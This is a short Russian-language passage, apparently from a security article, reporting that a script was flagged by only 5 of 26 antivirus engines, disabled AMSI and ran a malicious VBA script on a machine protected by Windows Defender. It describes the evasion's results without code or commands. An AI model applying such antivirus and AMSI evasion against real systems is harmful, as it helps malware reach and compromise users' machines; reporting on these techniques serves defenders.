Уси­лия воз­награж­дены. Угро­зу обна­ружи­ли все­го 5 из 26 анти­вирус­ных движ­ков, и авто­ру скрип­та уда­лось усколь­знуть от самых рас­простра­нен­ных, таких как Windows Defender, Sophos, Kaspersky и McAfee. С помощью при­менен­ных им методов скрип­ту уда­лось отклю­чить AMSI и выпол­нить вре­донос­ный VBA-скрипт на машине, защищен­ной Windows Defender.